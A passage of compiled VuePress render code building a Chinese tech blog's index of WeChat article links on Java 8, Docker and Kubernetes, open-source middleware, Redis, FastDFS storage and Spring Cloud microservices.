"),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489328&idx=1&sn=f93ff6cfeb1bc444707f5b8bb0b07640&chksm=cf55a031f82229278e77d1158f203ec942197f2de70b523a76472aa89d70b67aabd373223e71&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("知识点总结,你都会了吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489323&idx=1&sn=c95d1b281b1debf30718bb9b39d95c65&chksm=cf55a02af822293cdbbb03d837b7532048fa2e597814f23125633e23b483babb318fe7b42a24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈方法引用和构造器引用"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489322&idx=1&sn=df97fb8de194ee92c509bb84777a5346&chksm=cf55a02bf822293d18a8d5fc50561ea5219a0d7099b999571aba800f9f2e962c2f8d4cc66df1&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于Java8的Stream API,看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489319&idx=1&sn=a4300069c6d880ee8963baf3ed26e2ca&chksm=cf55a026f822293087d6c6236052249520c936fd5d8fde3bbb5adc4c8ccc4334949179759361&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Java8中创建Stream流的方式"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489317&idx=1&sn=462155310db1d09d9425208062c67643&chksm=cf55a024f8222932c921670c44fde7254620897bfd66d6d278d6d6881382988b732bc361ab64&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Stream API有哪些中间操作?看完你也可以吊打面试官!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489316&idx=1&sn=265401ed9f736f0cdf5ce9cf75e620a8&chksm=cf55a025f82229330323603ffa1f365bc728ffe0759e428d7300fc43faee0b96788d5a15e117&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("谈谈Java8中的Stream API有哪些终止操作?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489315&idx=1&sn=2446ebe443df89a2f2ad10cab0901921&chksm=cf55a022f822293483c56d896646e79125b27bbce12f5ff7f58844a6a3d102e19deea63d9d17&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于并行流与串行流,你必须掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489314&idx=1&sn=b6140423cacae11819863d3f9cd0e2d3&chksm=cf55a023f8222935cdf66cee0bf0f23a3b4ccf2e360997133c7f07f8c5e28788413807646b24&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不了解Optional类,简历上别说你懂Java8!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489313&idx=1&sn=87d9e82c51261aa3e46b96c803b95661&chksm=cf55a020f8222936400802323f9eb18b9ed0c41dffb1ccb3e37afda2b97351d4a421eb369cd2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("接口中的默认方法和静态方法,你都掌握了吗?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489312&idx=1&sn=5c708966e3184c0b615b8ca8346297eb&chksm=cf55a021f8222937b3cc63332902bbcc8bb34057c757b4e02a6ef9fdcc1a336fc3af858c8657&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("关于Java8中的日期时间API,你需要掌握这些!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489311&idx=1&sn=d1b4d99b5d51879b7b1131d97f8474d1&chksm=cf55a01ef82229086a1913c10af0c1bfff2b18ab54931da92d87845161372febfb16cbf7c352&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不只是Java8的注解,你想要的都在这儿了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"云原生专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#云原生专题"}},[e._v("#")]),e._v(" 云原生专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493038&idx=1&sn=c69480fdb44a638109fb59c78e9499db&chksm=cf5652aff821dbb9bbd332ba95d44fdbada2d766b1ce5b0b58a0fae556ceeaa7007028f5be9d&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("五一假期服务器“裂开”了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247492988&idx=1&sn=c6576dda9fc329b374093b18215cdbd9&chksm=cf56527df821db6bd9a4042f32c81380d8d465edd5feffcdb2b3fc4a63ac40d1ab389f013daa&token=1352513703&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("这次不鸽了,五一假期冰河为你整理了这些Dockerfile基础知识,拿走不谢!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489107&idx=1&sn=60dbfea150102e88e1a0b465cbb0b448&chksm=cf55a152f8222844caaa1678f96576772ed51387d54345cfb29210333f1b6885ee48e8f28b09&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("三万字无坑搭建基于Docker+K8S+GitLab/SVN+Jenkins+Harbor持续集成交付环境!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489106&idx=1&sn=2b638241ab73714491707b09db69d3e1&chksm=cf55a153f82228453d9b0f472be5aadc47ea92ea0680961c6a8810b83ce4dc0eb657b8e49f98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河教你一次性成功安装K8S集群(基于一主两从模式)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489103&idx=1&sn=756794976822639ff27e5591c8625177&chksm=cf55a14ef822285826891b5d86ec49ceb24511f8fd238d16e0a31df787f0a971126100391223&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,运行Docker容器时磁盘空间满了怎么办?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"开源框架与中间件系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#开源框架与中间件系列"}},[e._v("#")]),e._v(" 开源框架与中间件系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247496134&idx=1&sn=b1eff30e4b0547586251d588c34245b2&chksm=cf5646c7f821cfd1a3723cc2a40f038b1719c676ba855cc588c4ccf0e59c0d1c90f400078e8c&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("周末撸了个Excel框架,现已开源,yyds!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499550&idx=1&sn=cf4dd9a8d5901cdf01a213994474ce1c&chksm=cf56481ff821c109a3e48b92ab5b258a4b5867e939c0a800167f027e51c38ebc11ce01eb0df9&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("10分钟手撸极简版ORM框架!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495476&idx=1&sn=a5ed410dd3c13691000d3e11086eb370&chksm=cf565835f821d123c7172408ec88dc0b66354c163419c87300fa304b5be9cec111c100d6c4df&token=1081687632&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("报告:冰河写了个开源框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490146&idx=1&sn=b01d1bc7281b5bfdb93bddca2e01553e&chksm=cf55ad63f8222475086b63080ea945805da036102bb199bd9ef4bdff4facaf7fc7041d337015&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万字长文教你消息中间件到底该如何选型?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490278&idx=1&sn=1681ff3ce2d7ccc133d5a4436fb21359&chksm=cf55ade7f82224f145462689ed0b0e7d0e86e162c1707a954b30fcb293f997d60568f2466534&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("两行代码修复了解析MySQL8.x binlog错位的问题!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495719&idx=1&sn=077cc245c11605523210cc57057d356c&chksm=cf564726f821ce30b5aa4b9b6a1aa92c1f1ea9b2c46fef84bf59e2cce9065bcaece568c7a10d&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("撸完Spring源码,我开源了这个分布式缓存框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491249&idx=1&sn=f1e24d969b3c1b3f312241c423908184&chksm=cf55a9b0f82220a61f664b21b8c3709821e13db7e9a2bf32a45f7db72005b829e41c44ef8601&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("万字长文解密数据异构最佳实践(含完整代码实现)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489246&idx=1&sn=ae8ad62bed2f01065696481d183a7cac&chksm=cf55a1dff82228c9311046f61adad90346556bbbd68fced784ec163090a04809048ec7426d9a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("互联网背景下有哪些数据同步需求和解决方案?看完我知道了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489240&idx=1&sn=f3f13ab7366494ece7961f1a0aa7a8dd&chksm=cf55a1d9f82228cf831cfbc2d7df4be5188a0a36ee3a4fa6a4bc1a893fd4e86bd43b961f66b2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("数据同步的终极解决方案,阿里巴巴开源的Canal框架当之无愧!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489197&idx=1&sn=b53d0ca82519b368b55e0f36271fb75a&chksm=cf55a1acf82228bacf15f1b40da7ce3212ebbd394befe822c26bba19ff3ab68d07f5945ae3e5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我:看过sharding-jdbc的源码吗?我吧啦吧啦说了一通!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489165&idx=1&sn=25ee699c884bda3c33ba1b4f414db31b&chksm=cf55a18cf822289a0a3b5d1747c1fd99529c4edd3f82b32f39e47afa48e027250f507949991a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我把这个贼好用的Excel导出工具开源了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489113&idx=1&sn=64767b64063c4229b64ab53769e9ab6b&chksm=cf55a158f822284ea53f931766dfa1a8a77aea95faaeef83bb3f71bb13df84ea776f6f630b1f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("贼好用,冰河开源了这款精准定时任务和延时队列框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489099&idx=1&sn=6f5c110d4d6a4dc70abfb69f6a281dd2&chksm=cf55a14af822285cd13dd9d5c711e10c24e3e85c96eab05c0c04ce83207fac52446eee3d2004&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河开源了全网首个完全开源的分布式全局有序序列号(分布式ID)框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489571&idx=1&sn=addba2666568ade7f260852f4da7463b&chksm=cf55af22f8222634df9518c397a6fdf0af6bd4a80c84c58e220792d4bee5a1c07f53e2ec833f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("贼好用,冰河再次升级了这款开源的精准定时任务和延时队列框架!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489469&idx=1&sn=bd879a614feb31ba6bccabcce54d39c1&chksm=cf55a0bcf82229aa674dc87cc377642f931a1a80bda469ee800a7a8386d6eac2cafbfcd224dd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("基于java开发的功能强大、配置灵活的数据库之间的同步工具"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489465&idx=1&sn=2a9d4a180d4fde60de167843f2544469&chksm=cf55a0b8f82229ae1b8931479ce3179c9d61906ce9f1d48de32e51284426877d67dd0f1547da&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("RocketMQ之——单机环境搭建"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489459&idx=1&sn=96fefb1d895d7543e4eb59a3c79c983c&chksm=cf55a0b2f82229a424ff630d2c01bc8b73e6932d5f77e194d690d266e0733549721305d1627c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道如何实现分布式锁吗?这边看:分布式锁服务插件——mykit-lock开源啦!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489441&idx=1&sn=89c76952ab4f20eb45eeebf893bb3da1&chksm=cf55a0a0f82229b6a02b98e04641f664c899d0cc7709fd8a1ab07e1f9135f3758a3b0b85c5f5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("mykit-excel插件是我用过的最好用的Excel导出工具,没有之一!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"分布式缓存系列"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式缓存系列"}},[e._v("#")]),e._v(" 分布式缓存系列")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495996&idx=1&sn=27aa388ed9f841149746e8a2aa8546e5&chksm=cf56463df821cf2bf356191ec8c37085adc5852e2ca056fbd9da729873b3cbafca1169ae677b&token=1837443586&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("缓存最关心哪些指标?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493921&idx=1&sn=f1182dab854b9510298a352ed4be1b3e&chksm=cf565e20f821d736248b076d8708ef7ade53056b954ba164abfac8a4cdd617b12629bd5b8a14&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("超强Redis数据类型与应用场景总结!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491950&idx=1&sn=91f2fb8e87967c780b91772fb8f39df9&chksm=cf56566ff821df793e162510f97580e970eb84c1a39426febd920246edbdf721b5f35ab339c4&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("到底是先更新数据库还是先更新缓存?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489227&idx=1&sn=ed93bc18fdc643410a36f67111cede82&chksm=cf55a1caf82228dca00cc705f4adf779a71c707742a77d998a85f8fca278a810e4402fdaad98&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Redis开篇与如何安装单机版Redis,这次我会了!!"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"分布式存储"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式存储"}},[e._v("#")]),e._v(" 分布式存储")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490090&idx=1&sn=6cfda5e97794e947bb42709b7197e0d3&chksm=cf55ad2bf822243d2a270752ba6b9ace01b24b8aa2b9f79de505e082b97d9a04691ce7e59936&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("4.5万字手把手教你实现MySQL TB级数据存储!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490170&idx=1&sn=6d8ae64d9f76754a2dccc12af8c57d2f&chksm=cf55ad7bf822246dd89ed1804b1ea319c0544297b301eabcb34807aea554d6c8422bd45121a2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("记一次缓存服务器迁移史,心塞!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490300&idx=1&sn=ebd4555a8cf6f55369946a0e9a4a858a&chksm=cf55adfdf82224eb448c600284351ef24ad6d572a03099d93828c57847f63f36a987b0ee7c94&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何扩容单台服务器的存储容量?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490878&idx=1&sn=89a0264f21d46cf36cf090c5f9612ba0&chksm=cf55aa3ff8222329ec181402b6942649b87511b972467fa6892dc61e63b0d9881625f252957c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("新年上班第一天生产环境分布式文件系统崩了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489177&idx=1&sn=366f288aaadffbe4a78597ede8641390&chksm=cf55a198f822288ea86e122b5538762fe2aeeed909a1d6657522aa4d3f1851a172d44854c16e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河又一超硬核分布式存储PDF教程免费开源!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489280&idx=1&sn=2a0994167d73b70e7373735c5faa11a4&chksm=cf55a001f8222917ad5a0c914c9438ebd9e452ed95d7c059028d74adcfaf8259208b007cc206&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("FastDFS 分布式文件系统的安装与使用,看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489279&idx=1&sn=57261571f8f5550572988a36520efb16&chksm=cf55a1fef82228e89144a7054c6fe70a9806ba0c890b532d91b2de14756461c747849a02e139&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何打造一款高可用的分布式文件系统?这次我明白了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489276&idx=1&sn=1ad82d9e39ef4e6634c7254ca17b548d&chksm=cf55a1fdf82228eb434d76ce360a9e2bdfda649c6d63037beaf51572cdca969eee9b8610bb84&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("FastDFS 分布式文件系统的安装与使用,看这一篇就够了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489180&idx=1&sn=17e2788c3bb37d3ea1244851ce62b8d4&chksm=cf55a19df822288b651d52ec464007da82c46bbba378b2d1031569a4bf269cdd52938fc2ade6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("小伙伴们说在CentOS 8服务器上搭建FastDFS环境总报错?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489179&idx=1&sn=3d090d957d98724dc5ec90ee71264b63&chksm=cf55a19af822288c20a82c1e27e11a20b9a4899af3cb33ea061ef7cbacdabb999f29e6164a72&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现文件的大规模分布式存储?(全程实战)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489178&idx=1&sn=8a2571ec2145a9eae34bb8122d848f70&chksm=cf55a19bf822288d517fe3114e0c9cd96db96111e23ad6d7aa9b653d7f2387db99cffc448bfd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("SpringBoot整合FastDFS实战(附完整工程源码)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489104&idx=1&sn=c5af9ad42cd34aa2c5b47e773034df00&chksm=cf55a151f8222847123f4f598071a152ddfc0a88b7b888650c13833f212ec239aa063ca3717c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("都是Nginx前缀惹的祸,FastDFS不能访问了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489682&idx=1&sn=1ce0d3631bc1054d53767bc3c47321c9&chksm=cf55af93f8222685205e2d2be2a696cd3be7e8102f0edfb52d8276aa91a1e3818c779eb934c8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("互联网大厂有哪些分库分表的思路和技巧?"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"微服务专题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#微服务专题"}},[e._v("#")]),e._v(" 微服务专题")]),e._v(" "),a("ul",[a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247495884&idx=1&sn=fddfccd536fd2ed61aa013e9cde8b34e&chksm=cf5647cdf821cedba7ce6e8dd93d429e20f80647f2eed4d45fafb5fe8f9d1c7576211c3d91cc&token=546222828&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河公开了这份微服务学习笔记!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247493667&idx=1&sn=2e0d21381a3f34d312c8a605e9144f4e&chksm=cf565f22f821d634243681ce40d19d396452b0156ebfe99c812c2d363d885511e3e9343d4e7f&token=1929495520&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统由单体架构到微服务架构到底是如何演进的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247491991&idx=1&sn=d4447165cfb7be4237d3cf439075a36e&chksm=cf565696f821df80c766f6f5af0803d492c24527f0bffd6a4028cac4a150e216e79b19ffe1e7&token=1093611389&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个很多人不知道的SpringBoot小技能!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247490745&idx=1&sn=fb3cc2c3e94eec9e4dd4d5d3a33d8ffb&chksm=cf55abb8f82222aec0d694cb3e1a4f503d072e55a2cd6f35e2de1dee56c17f6cc92876cfe6e5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("冰河公开了这份4万字的SpringCloud与SpringCloudAlibaba学习笔记!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489145&idx=1&sn=aca42e8b89177c700c01064ecf0410c7&chksm=cf55a178f822286ea2725d9853f79c69c1757621cb8e974463a99c7650b6985a3014202e462d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("SpringCloud Alibaba开篇:SpringCloud这么火,为何还要学习SpringCloud Alibaba?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489143&idx=1&sn=ee96ac3db5d2f7785dbc9ed5698e7a70&chksm=cf55a176f8222860fcb2c69e9f68e4f1ffcee6767dcb1e7dc009990468415893e11ed9e7fbde&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("系统从初期到支撑亿级流量,都经历了哪些架构上的演变?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489141&idx=1&sn=6072866b3cb1338970601f25c1b3e46b&chksm=cf55a174f822286226e54fb62f317ab451be948b77cedeb2df5c35c8e025e8265542193ae6ad&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("卧槽,被SpringBoot整合原生OpenFegin坑惨了(非SpringCloud)!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489129&idx=1&sn=b4493599559871587e3a03a630e957c3&chksm=cf55a168f822287e04d4127ca7a099ab21e92f144da67d9bda4fe4971689dd70f3f90d935fe5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("我所经历的价值超10亿美元的直播系统架构图是什么样子的?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247499964&idx=1&sn=5e44261a4066b81cb84ef8b58a6124a5&chksm=cf5677bdf821feabea938c78b53fa9d377cfe9520a4d49fd33f81e654e321f212fe02e14859c&token=2138570566&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("实战SpringBoot 快速支持动态配置国际化"),a("OutboundLink")],1)])]),e._v(" "),a("h3",{attrs:{id:"nginx技术"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#nginx技术"}},[e._v("#")]),e._v(" Nginx技术")]),e._v(" 